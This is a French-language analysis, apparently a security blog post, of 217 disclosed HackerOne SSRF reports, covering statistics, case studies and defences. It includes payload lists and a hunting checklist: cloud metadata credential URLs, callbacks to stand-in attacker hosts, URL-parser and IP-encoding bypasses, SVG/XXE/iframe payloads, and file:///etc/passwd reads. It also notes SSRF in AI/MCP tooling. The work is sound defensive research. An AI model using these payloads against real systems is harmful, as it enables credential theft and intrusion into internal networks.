SSRF dans la Nature : Analyse Complète de 200+ Vulnérabilités Server-Side Request Forgery

SSRF dans la Nature : Analyse Complète de 200+ Vulnérabilités Réelles
Résumé Exécutif
Le Server-Side Request Forgery (SSRF) s'est imposé comme l'une des classes de vulnérabilités les plus dangereuses dans les applications cloud-natives modernes, obtenant une reconnaissance dédiée en tant que OWASP Top 10 A10:2021. À travers l'analyse de 217 rapports SSRF divulgués sur HackerOne couvrant la période 2014–2025, cette étude expose comment les attaquants exploitent les applications pour atteindre les services internes, les endpoints de métadonnées cloud et l'infrastructure sensible.
Notre analyse révèle que les vulnérabilités SSRF ont généré plus de 92 757 $ en primes divulguées, avec des rapports individuels atteignant 10 000 $. Cependant, le véritable impact va bien au-delà des primes de bug bounty : le SSRF a permis aux attaquants de voler des identifiants AWS, d'obtenir un accès root aux instances cloud, d'exfiltrer des données internes et de pivoter à travers des réseaux internes entiers. Le SSRF de Shopify Exchange a seul été récompensé de 25 000 $ après que le chercheur a démontré un accès root sur toutes les instances d'un sous-ensemble d'infrastructure.
Qu'est-ce que le SSRF ?
Le Server-Side Request Forgery se produit quand un attaquant peut induire l'application côté serveur à effectuer des requêtes HTTP vers un domaine arbitraire ou une ressource interne de son choix. Contrairement aux attaques côté client, le SSRF exploite la position réseau du serveur et ses relations de confiance.
# Requête légitime — récupère une URL externe pour l'aperçu
POST /api/fetch-url HTTP/1.1
{"url": "https://example.com/article"}
# L'attaquant exploite pour atteindre les métadonnées cloud
POST /api/fetch-url HTTP/1.1
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}
# L'attaquant pivote vers les services internes
POST /api/fetch-url HTTP/1.1
{"url": "http://internal-api.corp:8080/admin/users"}
Méthodologie d'Analyse
Cette étude examine 217 rapports SSRF divulgués depuis le Hacktivity de HackerOne, en se concentrant sur :
PORTÉE DE L'ANALYSE
- • Analyse temporelle : Tendances de 2014 à 2025
- • Schémas d'attaque : Blind, lecture complète, DNS rebinding, contournement
- • Cibles d'infrastructure : AWS, GCP, services internes
- • Impact financier : Distribution des primes
SOURCES DE DONNÉES
- • 217 rapports HackerOne divulgués
- • 77 programmes de bug bounty uniques
- • 181 chercheurs en sécurité uniques
- • Références croisées CVE quand disponibles
Résultats Clés
1. Distribution de Sévérité — Le SSRF Vise Haut
RÉPARTITION PAR SÉVÉRITÉ (217 RAPPORTS)
41,5 % des 217 rapports ont été classés élevé ou critique — soit 44,8 % des 201 qui portent effectivement une note. Les pourcentages ci-dessus sont calculés sur 217 ; les deux cases grises restent distinctes parce qu'elles ne signifient pas la même chose : l'une est une décision de triage, l'autre une donnée manquante.
Une réserve sur la catégorie critique : 13 de ces 217 rapports (6 %) sont des write-ups du concours h1-ctf — des vulnérabilités plantées, divulguées par construction — et les 13 sont classés critiques, soit un tiers de toute la catégorie. En les excluant, la part de critiques tombe de 18,4 % à 13,2 % (27 sur 204).
2. Tendances Temporelles — Pic en 2020, Présence Constante
RAPPORTS PAR ANNÉE
Le pic de 2020 (55 rapports) est concentré plutôt que général : 24 de ces 55 rapports proviennent de quatre programmes (h1-ctf 9, stripo 8, gitlab 7, nodejs-ecosystem 4), et 9 des 15 rapports critiques de l'année sont des write-ups de concours. Il faut y voir un artefact de divulgation, non une hausse réelle des SSRF. La sévérité, en revanche, augmente bel et bien et cela se mesure : critique+élevé passe de 22 % sur 2014-2019 à 51 % sur 2020-2022, puis 45 % sur 2023-2025 — notamment autour de l'outillage IA/MCP (2025) et du SSRF au niveau des bibliothèques (libuv, undici, curl).
3. Programmes aux Divulgations les Plus Nombreuses
PROGRAMMES AVEC LE PLUS DE RAPPORTS DIVULGUÉS
Ce classement mesure la propension à divulguer, et non la densité de vulnérabilités. 73 des 107 rapports de tête proviennent de programmes où la publication est la règle par défaut plutôt qu'une exception négociée : le DoD gère un VDP à culture de divulgation obligatoire, GitLab et Nextcloud sont des projets open source qui publient par défaut, h1-ctf est un concours et l'IBB finance la recherche sur les bibliothèques. Rien ici n'indique que GitLab compte plus de SSRF qu'une banque ; cela indique que GitLab publie.
Analyse Approfondie des Schémas d'Attaque
Comment lire ces chiffres. Ces catégories ne sont pas exclusives et leur somme ne fait pas 217 — plusieurs rapports relèvent de deux catégories ou plus. Blind et Lecture Complète ne sont d'ailleurs pas des schémas d'attaque : ce sont des propriétés d'observabilité qui se superposent aux cinq autres. Les comptes ci-dessous ont été recalculés à la main sur les 217 titres après que les règles par mots-clés se sont révélées peu fiables ; lorsqu'un chiffre corrigé diffère du comptage automatique, la raison est indiquée sur place.
Schéma 1 : Blind SSRF — La Variante la Plus Courante
BLIND SSRF (35 rapports — 16 % du jeu de données)
Définition : L'attaquant peut déclencher des requêtes côté serveur mais ne peut pas voir le corps de la réponse. Confirmation via des interactions hors bande (callbacks DNS/HTTP).
# Étape 1 : Injecter une URL contrôlée par l'attaquant
POST /api/webhook HTTP/1.1
{"callback_url": "https://attacker-burp-collaborator.net"}
# Étape 2 : Observer l'interaction DNS/HTTP dans Burp Collaborator
# Confirme que le serveur a effectué la requête depuis le réseau interne
# Étape 3 : Pivoter vers le scan de ports
POST /api/webhook HTTP/1.1
{"callback_url": "http://127.0.0.1:6379"} # Redis
# La différence de temps de réponse révèle les ports ouverts
/api/v2/chats/image-check permettant le scan de ports internes. Le chemin API entier a été retiré comme correctif.Schéma 2 : Full-Read SSRF — Impact Maximum
SSRF EN LECTURE COMPLÈTE (8 rapports — sévérité la plus élevée)
Définition : L'attaquant peut lire la réponse complète des requêtes internes, permettant le vol d'identifiants, l'exfiltration de données et la cartographie complète de l'infrastructure.
# L'attaquant demande les métadonnées AWS
GET /api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name
# Le serveur renvoie les identifiants temporaires AWS
{
"AccessKeyId": "ASIA...",
"SecretAccessKey": "wJalr...",
"Token": "FwoGZX...",
"Expiration": "2024-03-15T12:00:00Z"
}
Schéma 3 : Exploitation des Métadonnées Cloud
ACCÈS AUX MÉTADONNÉES CLOUD (22 rapports)
aws sans délimiteur de mot : elle capturait donc aussi « flaws », « draws », ainsi qu'une note de triage indiquant « not related to AWS Software or Services ». Comptage manuel : 22.Cible : Le fameux endpoint de métadonnées 169.254.169.254 présent sur AWS, GCP et Azure.
# AWS Instance Metadata Service (IMDSv1 — aucune authentification requise)
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/user-data/
# GCP Metadata (nécessite un header)
http://metadata.google.internal/computeMetadata/v1/
# Azure Metadata
http://169.254.169.254/metadata/instance?api-version=2021-02-01
Schéma 4 : Attaques par DNS Rebinding
DNS REBINDING (7 rapports)
Technique : L'attaquant contrôle les enregistrements DNS d'un domaine, résolvant initialement vers une IP publique (passant la validation), puis basculant vers une IP interne (127.0.0.1 ou 169.254.169.254) lors de la requête effective.
# Flux d'attaque par DNS Rebinding :
1. L'attaquant soumet : http://evil.attacker.com/payload
2. Première résolution DNS (validation) : evil.attacker.com → 1.2.3.4 (IP publique — passe la vérification)
3. Le TTL DNS expire immédiatement (TTL=0)
4. Seconde résolution DNS (requête réelle) : evil.attacker.com → 127.0.0.1 (interne !)
5. Le serveur se connecte au localhost, contournant tous les filtres SSRF basés sur l'IP
Schéma 5 : Techniques de Contournement de Filtres SSRF
CONTOURNEMENT DE FILTRES/LISTES NOIRES SSRF (22 rapports ayant mis en échec une protection déployée)
Constat clé : Les protections SSRF sont systématiquement contournées. Les approches par liste noire sont vouées à l'échec.
# Technique de contournement 1 : IPv6 mappée vers IPv4
http://[::ffff:127.0.0.1]/
http://[0:0:0:0:0:ffff:169.254.169.254]/
# Technique de contournement 2 : Encodage IP Décimal/Octal/Hex
http://2130706433/ # Décimal pour 127.0.0.1
http://0x7f000001/ # Hex pour 127.0.0.1
http://017700000001/ # Octal pour 127.0.0.1
http://0177.0.0.1/ # Octal mixte
# Technique de contournement 3 : Incohérences d'analyse d'URL
http://evil.com@127.0.0.1/ # Confusion hôte/identifiants
http://127.0.0.1#@evil.com # Injection de fragment
http://127.0.0.1%00@evil.com # Octet nul
# Technique de contournement 4 : Chaînes de redirections
http://evil.com/redirect?to=http://169.254.169.254/
# Technique de contournement 5 : Point final dans le domaine
http://internal-service. # Le point final contourne les listes de refus
# Technique de contournement 6 : URL relative au protocole
//127.0.0.1/admin
0x00007f000001 de contourner la validation. 4 860 $ de prime.Schéma 6 : SSRF via Upload de Fichiers & Fonctionnalités d'Import
SSRF PAR RÉCUPÉRATION DISTANTE / IMPORT (18 rapports)
import, ce qui a fait entrer CVE-2024-38472 pour la seule raison que l'avis Apache est préfixé « important: ». Comptage manuel : 18.Vecteurs : Uploads SVG, générateurs PDF, imports de fichiers par URL, traitement vidéo, analyse XML/XSLT.
<!-- SSRF basé sur SVG -->
<svg xmlns="http://www.w3.org/2000/svg">
<image href="http://169.254.169.254/latest/meta-data/" />
</svg>
<!-- SSRF basé sur XXE via upload XML -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<root>&xxe;</root>
<!-- SSRF via générateur PDF par injection HTML -->
<iframe src="http://169.254.169.254/latest/meta-data/"></iframe>
remote_attachment_url sur l'import de Note de projet. 10 000 $ de prime — la plus élevée du jeu de données.Schéma 7 : SSRF via Webhooks & Intégrations
SSRF INTÉGRATION / WEBHOOK (23 rapports)
webhook ne voit pas le même bug déposé contre un hôte de service configurable : Nextcloud à lui seul apporte cinq rapports via les champs smtpHost, sieveHost et imapHost. Comptage manuel : 23.Cause racine : Les applications qui permettent aux utilisateurs de configurer des URLs de webhook ou des endpoints d'intégration sans validation d'URL appropriée.
# Configuration de webhook pointant vers un service interne
POST /api/integrations/webhook
{
"name": "Mon Intégration",
"url": "http://169.254.169.254/latest/meta-data/",
"events": ["order.created"]
}
# Quand l'événement se déclenche, le serveur envoie la requête
# vers la destination contrôlée par l'attaquant ou l'infrastructure interne
http://169.254.169.254/latest/meta-data. 500 $ de prime.Analyse d'Impact Financier
DISTRIBUTION DES PRIMES
Une prime à 0.0 dans les données HackerOne signifie qu'aucun montant n'a été divulgué, et non que le rapport n'a rien rapporté. Les 92 757 $ constituent donc un plancher calculé sur les 51 rapports affichant un montant — le total réel sur les 217 est inconnu et forcément supérieur. La prime médiane divulguée s'élève à 1 000 $ ; à eux seuls, les cinq rapports les mieux payés totalisent 30 920 $, soit un tiers de l'ensemble divulgué.
Rapports aux Primes les Plus Élevées :
GitLab Import de Projet SSRF
SSRF lecture complète via remote_attachment_url
Reddit Matrix SSRF
Blind SSRF exfiltrant des données de services internes
Kubernetes Cloud Controller SSRF
SSRF semi-blind évolutif en HTTP forgé complet
Apache UNC SSRF (CVE-2024-38472)
SSRF via chemin UNC Windows divulguant des hash NTLM
libuv Domain Lookup SSRF
Troncature de nom d'hôte permettant le contournement de filtres SSRF
Rapport #341876 — @0xacb a exploité le SSRF dans la fonctionnalité de capture d'écran de Shopify Exchange pour accéder aux métadonnées cloud, puis a pivoté pour obtenir un accès root à chaque conteneur dans le sous-ensemble d'infrastructure. Shopify a répondu en moins d'une heure, désactivé le service et audité tous les sous-ensembles d'infrastructure. Récompensé 25 000 $ comme équivalent d'un RCE Shopify Core. Ce montant de prime n'est pas reflété dans la section des primes mais représente la découverte SSRF la plus importante du jeu de données.
Analyse d'Impact par Industrie
GOUVERNEMENT & DÉFENSE
- • Exposition de métadonnées AWS sur des systèmes militaires
- • Scan de réseau interne
- • Énumération d'adresses IP et d'infrastructure
OUTILS DEV & INFRASTRUCTURE
- • Compromission de pipeline CI/CD
- • Exploitation de l'import de projets
- • Accès interne à Grafana/monitoring
COMMUNICATION & MESSAGERIE
- • Proxying réseau interne via serveurs TURN
- • Blind SSRF via paramètres de serveur mail
- • Abus de commandes slash pour des requêtes internes
BIBLIOTHÈQUES OPEN SOURCE
- • Incohérences d'analyse d'URL
- • Bugs de troncature de nom d'hôte
- • Gestion des URLs relatives au protocole
Plongée Technique : La Kill Chain SSRF
ÉCHELLE D'EXPLOITATION SSRF
Niveau 1 : Interaction avec un Service Externe (Impact Faible)
Confirmer l'existence du SSRF via un callback hors bande DNS/HTTP. Prouve que le serveur effectue des requêtes mais aucune donnée n'est exfiltrée.
Vérifier : Le serveur effectue une requête DNS vers un domaine contrôlé par l'attaquant
Impact : Divulgation d'informations (IP du serveur), preuve de vulnérabilité
Niveau 2 : Scan de Ports Internes (Impact Moyen)
Énumérer les services internes en mesurant les différences de temps de réponse ou d'erreurs entre les ports.
Détecter : Temps de réponse pour http://127.0.0.1:22 (ouvert) vs http://127.0.0.1:12345 (fermé)
Impact : Cartographie du réseau interne, découverte de services
Niveau 3 : Vol d'Identifiants Cloud (Impact Élevé)
Accéder au service de métadonnées cloud pour voler des identifiants IAM temporaires.
Cible : http://169.254.169.254/latest/meta-data/iam/security-credentials/
Impact : Accès au compte AWS, manipulation de buckets S3, contrôle d'EC2
Niveau 4 : Exécution de Code à Distance (Impact Critique)
Chaîner le SSRF avec des services internes (Redis, Docker API, Kubernetes) pour obtenir l'exécution de code.
Chaîne : SSRF → Docker API (sans auth) → Évasion de conteneur → Accès root
Réel : Shopify Exchange SSRF → Root sur toutes les instances (#341876)
Réel : Uber SSRF → Accès à l'API Docker interne (#366638)
Étude de Cas : Shopify Exchange → Accès Root
RAPPORT #341876 — Le SSRF à 25 000 $
- 1. Découverte du SSRF dans le service de capture d'écran d'Exchange
- 2. Utilisation du SSRF pour atteindre l'endpoint de métadonnées cloud (169.254.169.254)
- 3. Récupération des identifiants du rôle IAM depuis les métadonnées
- 4. Utilisation des identifiants pour accéder aux services internes et aux buckets
- 5. Obtention de l'accès root sur tous les conteneurs du sous-ensemble d'infrastructure
Étude de Cas : Le Propre SSRF de HackerOne → CVSS 10.0
RAPPORT #2262382 — Identifiants AWS via Export PDF
- 1. Injection d'une balise
<iframe>dans l'élémenttemplatede génération de rapport PDF analytics - 2. Le moteur de rendu PDF récupère l'URL de l'iframe côté serveur
- 3. Iframe pointée vers
http://169.254.169.254/latest/meta-data/iam/security-credentials/ - 4. Le PDF généré contenait les identifiants temporaires AWS en clair
- 5. Les identifiants pouvaient manipuler les ressources AWS, causer des pertes de données ou prendre le contrôle de comptes
Stratégies de Prévention
DÉFENSE EN PROFONDEUR — COUCHES DE PROTECTION SSRF
1. Isolation au Niveau Réseau (Le Plus Efficace)
# AWS : Imposer IMDSv2 (requiert un accès basé sur des tokens)
aws ec2 modify-instance-metadata-options \
--instance-id i-1234567890 \
--http-tokens required \
--http-put-response-hop-limit 1
# Déployer un proxy de dissimulation de métadonnées (comme Shopify)
# Bloquer 169.254.169.254 au niveau de l'hôte avec iptables/nftables.
# NOTE : les Security Groups et NACL AWS n'y peuvent rien - le trafic
# link-local ne quitte jamais l'ENI. Utilisez IMDSv2 + une règle locale.
# Kubernetes : Bloquer les métadonnées via NetworkPolicy
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: block-metadata
spec:
podSelector: {}
egress:
- to:
- ipBlock:
cidr: 0.0.0.0/0
except:
- 169.254.169.254/32
2. Validation d'URL au Niveau Application (Liste Blanche Uniquement)
import ipaddress
import urllib.parse
import socket
ALLOWED_SCHEMES = {'https'}
BLOCKED_NETWORKS = [
ipaddress.ip_network('127.0.0.0/8'), # Loopback
ipaddress.ip_network('10.0.0.0/8'), # Privé
ipaddress.ip_network('172.16.0.0/12'), # Privé
ipaddress.ip_network('192.168.0.0/16'), # Privé
ipaddress.ip_network('169.254.0.0/16'), # Link-local (métadonnées !)
ipaddress.ip_network('0.0.0.0/8'), # Spécial
ipaddress.ip_network('::1/128'), # Loopback IPv6
ipaddress.ip_network('::ffff:0:0/96'), # IPv6 mappé IPv4
ipaddress.ip_network('100.64.0.0/10'), # CGNAT — l'IMDS d'Alibaba est en 100.100.100.200
ipaddress.ip_network('fc00::/7'), # IPv6 unique-local
ipaddress.ip_network('fd00:ec2::/32'), # IMDS IPv6 d'AWS
]
def validate_url(url: str) -> bool:
parsed = urllib.parse.urlparse(url)
# 1. Protocole en liste blanche
if parsed.scheme not in ALLOWED_SCHEMES:
return False
# 2. Résoudre le nom et vérifier TOUTES les réponses, pas seulement la
# première. Un hôte renvoyant à la fois un enregistrement public et un
# privé passerait sur [0] puis se connecterait au privé.
try:
answers = socket.getaddrinfo(parsed.hostname, None)
except socket.gaierror:
return False
ips = set()
for family, _, _, _, sockaddr in answers:
try:
ips.add(ipaddress.ip_address(sockaddr[0]))
except ValueError:
return False # échec fermé sur tout ce qui est illisible
if not ips:
return False
# 3. Échec fermé si UNE SEULE des adresses résolues est bloquée
for ip in ips:
for network in BLOCKED_NETWORKS:
if ip in network:
return False
# 4. Re-valider après redirection (critique contre le DNS rebinding !)
return True
3. Protection contre le DNS Rebinding
# Stratégie d'épinglage DNS
def safe_fetch(url: str) -> bytes:
parsed = urllib.parse.urlparse(url)
# Étape 1 : Résoudre et valider
resolved_ip = resolve_and_validate(parsed.hostname)
# Étape 2 : Se connecter directement à l'IP résolue (contourne le DNS)
# Empêche le DNS rebinding entre la validation et la requête
response = requests.get(
url,
headers={'Host': parsed.hostname},
allow_redirects=False, # Gérer les redirections manuellement !
timeout=5,
# Forcer la connexion à l'IP validée
# via un adaptateur personnalisé ou un override de socket
)
# Étape 3 : Valider toute URL de redirection avant de la suivre
if response.is_redirect:
redirect_url = response.headers['Location']
validate_url(redirect_url) # Re-valider !
return response.content
4. Proxy Egress Dédié (Pattern Smokescreen)
# Proxy egress de type Smokescreen (utilisé par Stripe, Shopify)
# Tout le HTTP sortant de l'application transite par ce proxy
# Le proxy impose :
# - Aucune connexion aux plages IP internes
# - Aucune connexion aux endpoints de métadonnées cloud
# - Aucune connexion aux domaines refusés
# - La résolution DNS se fait dans le proxy (empêche le rebinding)
proxy_config:
deny_ranges:
- "127.0.0.0/8"
- "10.0.0.0/8"
- "169.254.0.0/16"
- "172.16.0.0/12"
- "192.168.0.0/16"
deny_domains:
- "*.internal"
- "metadata.google.internal"
Méthodologie de Test pour les Chasseurs de Bugs
CHECKLIST DE CHASSE AUX SSRF
url, uri, src, href, link, callback, redirect, proxy, endpoint
dest, target, path, host, domain, site, page, feed, webhook
image_url, icon_url, avatar_url, logo_url, preview_url
import_url, fetch_url, load_url, download_url, file_url
next, return, continue, forward, redir, out, view, show
# Endpoints de métadonnées cloud
http://169.254.169.254/latest/meta-data/ # AWS
http://metadata.google.internal/computeMetadata/v1/ # GCP
http://169.254.169.254/metadata/instance # Azure
# Services internes
http://127.0.0.1:6379/ # Redis
http://127.0.0.1:9200/ # Elasticsearch
http://127.0.0.1:2375/ # Docker API
http://127.0.0.1:5985/ # WinRM
http://127.0.0.1:8500/ # Consul
# Lecture de fichiers locaux
file:///etc/passwd
file:///proc/self/environ
file:///proc/net/tcp
# Astuces d'encodage IP
http://0x7f000001/ # Hex
http://2130706433/ # Décimal
http://017700000001/ # Octal
http://[::ffff:127.0.0.1]/ # IPv6 mappé
http://127.1/ # Raccourci
http://0/ # Zéro
Profils des Chercheurs
TOP CHASSEURS DE SSRF
Notable : @orange (Orange Tsai) est un chercheur SSRF de renommée mondiale connu pour le contournement des parseurs d'URL. @jobert (co-fondateur de HackerOne) apparaît dans le top des chasseurs SSRF et IDOR. @edoverflow se spécialise dans les vulnérabilités au niveau infrastructure.
DÉMOGRAPHIE DES CHERCHEURS
Tendances Futures et Menaces Émergentes
PAYSAGE ÉMERGENT DES MENACES SSRF
1. SSRF via Outillage IA/MCP (tendance 2025)
L'essor des serveurs Model Context Protocol (MCP) introduit de nouvelles surfaces SSRF. Les outils IA qui effectuent des requêtes HTTP pour le compte des utilisateurs sont vulnérables au DNS rebinding et manquent de validation d'origine.
Exemple : Burp Suite MCP Server (#3176157) — SSRF par DNS rebinding permettant l'accès au réseau interne via l'outil send_http1_request.
2. SSRF de Chaîne d'Approvisionnement via les Bibliothèques
Les vulnérabilités SSRF dans les bibliothèques fondamentales (curl, libuv, undici) créent un risque de chaîne d'approvisionnement affectant simultanément des millions d'applications en aval.
Exemples : CVE-2024-38472 (Apache), troncature de hostname libuv, SSRF pathname undici — tous ont affecté des écosystèmes massifs.
3. SSRF Kubernetes & Orchestration de Conteneurs
Les serveurs API Kubernetes, les contrôleurs cloud et les webhooks d'admission introduisent des opportunités SSRF uniques aux plateformes de conteneurs.
Exemple : Kubernetes (#1544133) — Serveur API agrégé détourné retournant des redirections 30X permettant le SSRF vers des endpoints internes.
4. Génération PDF/Documents comme Surface d'Attaque
Les générateurs PDF côté serveur (wkhtmltopdf, Puppeteer, Chrome headless) ignorent systématiquement la Content Security Policy et permettent le SSRF via l'injection HTML.
Pattern : Injecter <iframe>, <img> ou <script> dans du contenu contrôlé par l'utilisateur → le moteur de rendu PDF récupère les URLs internes côté serveur.
Recommandations pour les Organisations
ACTIONS IMMÉDIATES (0-30 jours)
- 1. Activer IMDSv2 sur toutes les instances AWS (bloque l'accès non authentifié aux métadonnées)
- 2. Auditer les endpoints acceptant des URLs — webhooks, imports, aperçus, générateurs PDF
- 3. Bloquer 169.254.169.254 via une règle de pare-feu locale (iptables/nftables) et IMDSv2 — les Security Groups et NACL ne filtrent pas le trafic link-local, qui ne quitte jamais l'ENI
- 4. Désactiver les protocoles inutiles — bloquer les schémas file://, gopher://, dict://
MOYEN TERME (1-6 mois)
- 1. Déployer un proxy egress (Smokescreen ou similaire) pour tout le HTTP sortant
- 2. Implémenter l'épinglage DNS pour prévenir les attaques par rebinding
- 3. Remplacer les listes noires par des listes blanches pour toute validation d'URL
- 4. Ajouter des tests SSRF au CI/CD — scan automatisé des endpoints acceptant des URLs
LONG TERME (6+ mois)
- 1. Réseau zero-trust — les microservices doivent authentifier toutes les requêtes internes
- 2. Proxy de dissimulation de métadonnées sur toute l'infrastructure (modèle Shopify)
- 3. Exercices de red team ciblant spécifiquement les chaînes d'attaque SSRF
- 4. Audit de la chaîne d'approvisionnement — surveiller les dépendances pour les vulnérabilités d'analyse d'URL
Conclusion
ANALYSE FINALE
Le SSRF a évolué d'une curiosité à l'une des classes de vulnérabilités les plus critiques dans les environnements cloud-natifs. Notre analyse de 217 rapports HackerOne révèle un schéma clair : les protections SSRF sont régulièrement contournées, les métadonnées cloud restent la cible d'escalade privilégiée, et la surface d'attaque continue de s'étendre avec l'outillage IA, l'orchestration de conteneurs et les vulnérabilités au niveau des bibliothèques.
Points Clés à Retenir :
- 1. Les listes noires échouent : 22 rapports (10 %) ont mis en échec une protection déjà en place chez la cible — dont Smokescreen, un proxy anti-SSRF dédié, à deux reprises. Les listes blanches et l'isolation réseau sont les seules défenses fiables.
- 2. Les métadonnées cloud sont le trésor : 22 rapports atteignent ou visent l'IMDS cloud — imposez IMDSv2 et bloquez le link-local par une règle de pare-feu locale, les Security Groups ne filtrant pas un trafic qui ne quitte jamais l'ENI.
- 3. Le Blind SSRF est sous-estimé : 35 rapports démontrent que même sans accès au corps de réponse, les attaquants obtiennent un impact significatif via le scan de ports et l'interaction avec les services.
- 4. Les chaînes SSRF sont dévastatrices : Le saut du SSRF au RCE (Shopify #341876) ou au vol complet d'identifiants (HackerOne #2262382) représente un risque existentiel pour les organisations. Ces deux primes de 25 000 $ proviennent de sources extérieures à ce jeu de données ; la plus élevée qui y soit divulguée est de 10 000 $.
- 5. De nouvelles surfaces d'attaque émergent constamment : Les serveurs MCP, l'outillage IA et les plateformes de conteneurs introduisent des vecteurs SSRF qui n'existaient pas il y a deux ans.
La Voie à Suivre :
Les organisations doivent adopter une posture de défense en profondeur : l'isolation réseau bloque le chemin d'escalade, les proxies egress centralisent l'application des politiques URL, IMDSv2 élimine l'attaque de métadonnées la plus facile, et la validation par liste blanche intercepte ce qui passe entre les mailles. Aucune couche seule n'est suffisante — c'est la combinaison qui stoppe les chaînes d'exploitation SSRF avant qu'elles n'atteignent les actifs critiques.
Pour les Chasseurs de Bugs :
Le SSRF reste l'une des classes de bugs les plus gratifiantes à chasser. Les meilleures primes récompensent la démonstration d'une chaîne d'exploitation complète — ne vous arrêtez pas à prouver que le serveur effectue des requêtes. Montrez les identifiants AWS. Cartographiez le réseau interne. Prouvez l'impact. Il faut toutefois calibrer les attentes : la prime médiane divulguée dans ce corpus est de 1 000 $, et 22 des 51 rapports rémunérés sont de sévérité moyenne. Cinq rapports ont dépassé 4 860 $ — c'est la queue de distribution, pas la norme.
Cette analyse est basée sur 217 rapports de vulnérabilités SSRF publiquement divulgués sur HackerOne, couvrant 77 programmes de bug bounty uniques de 2014 à 2025. Elle représente un sous-ensemble des vulnérabilités SSRF réelles — de nombreuses découvertes SSRF critiques restent non divulguées ou ont été signalées via des programmes privés.
Cette recherche a été principalement conduite avec l'assistance de l'IA pour améliorer la clarté et la structure.
[ARTICLES_LIÉS]
Plus de recherches et d'articles du blog
→ Analyse IDOR : 250 Cas Réels
→ Quand le Parsing de Protocole Fuite dans la Logique Applicative
→ De Self-XSS à XSS Réfléchi via CSRF